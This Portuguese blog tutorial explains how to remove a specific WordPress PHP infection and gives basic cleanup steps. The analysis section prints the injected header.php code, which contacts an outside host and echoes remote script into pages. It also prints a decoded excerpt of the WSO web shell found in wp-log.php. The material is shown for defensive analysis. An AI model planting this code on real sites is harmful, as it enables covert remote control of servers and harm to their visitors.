Remover vírus WordPress PHP

por

0

Remover vírus WordPress PHP

Remover vírus WordPress PHP

0
Remover vírus WordPress PHP

Este tutorial apresenta um caso particular em que um blog WordPress foi infectado. Remova o vírus WordPress PHP.

Outro dia notei um código suspeito que parece ser um vírus PHP para WordPress. O seguinte código PHP estava presente no header.php, antes da linha </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Este é um código PHP que parece estar tentando recuperar o conteúdo de um recurso de um servidor externo, mas a parte que se refere à URL está incompleta.

O mecanismo de funcionamento é um pouco mais complexo e torna este vírus WordPress PHP invisível para os visitantes dos sites afetados. Em vez disso, tem como alvo os motores de busca (Google) e leva implicitamente a uma diminuição significativa no número de visitantes dos sites afetados.

Detalhes do malware do vírus WordPress PHP

1. O código acima está presente em header.php.

2. Um arquivo apareceu no servidor wp-log.php na pasta wp-includes.

3. wp-log.php contém um código criptografado, mas que é relativamente fácil de descriptografar.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Descriptografar código de malware de wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Este parece ser um script PHP malicioso que contém código para lidar com autenticação e ações em arquivos e diretórios em um servidor. Pode-se ver facilmente que este script contém variáveis ​​​​como $auth_pass (senha de autenticação), $default_action (a ação padrão), $default_use_ajax (usando Ajax por padrão) e $default_charset (configuração de caracteres padrão).

Obviamente, este script possui uma seção que verifica os agentes de usuário HTTP para bloquear o acesso a determinados bots da web, como mecanismos de pesquisa. Ele também possui uma seção que verifica o modo de segurança do PHP e define determinados diretórios de trabalho.

4. Se wp-log.php for acessado no navegador, uma página web aparecerá com um campo de autenticação. À primeira vista, parece ser um gerenciador de arquivos através do qual novos arquivos podem ser facilmente carregados no servidor de destino.

Como desvírus de um site WordPress?

Sempre, o processo manual de remoção de vírus envolve primeiro descobrir e compreender qual era a vulnerabilidade.

1. Gere um backup para todo o site. Isso deve incluir os arquivos e o banco de dados.

2. Determine há quanto tempo aproximadamente o vírus apareceu e pesquise no servidor web por arquivos modificados ou recém-criados dentro do período aproximado.

Por exemplo, se você quiser ver os arquivos .php criado ou modificado na última semana, execute o comando no servidor:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

É um método simples pelo qual você pode descobrir arquivos WordPress infectados e aqueles que contêm código de malware.

3. Verifique o arquivo .htaccess de directivas suspeitas. Permissões ou linhas de execução de script.

4. Verifique o banco de dados. É muito possível que alguns posts e páginas do WordPress tenham sido editados com malware ou novos estejam sendo adicionados usuários com função de administrador.

5. Verifique as permissões de gravação de pastas e arquivos. chmod e chown.

As permissões recomendadas são: 644 para arquivos e 755 para diretórios.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Atualize tudo WordPress Plugins / WordPress Themes.

Relacionado: Corrigir redirecionar o WordPress Hack 2023 (redirecionamento do vírus)

Estes são métodos “básico” através do qual você pode desvírus de um site/blog WordPress. Se você tiver problemas e precisar de ajuda, a seção de comentários estará aberta.

Remover vírus WordPress PHP

Você também pode estar interessado em...

Deixe uma resposta

Seu endereço de e-mail não será publicado. Os campos necessários estão marcados *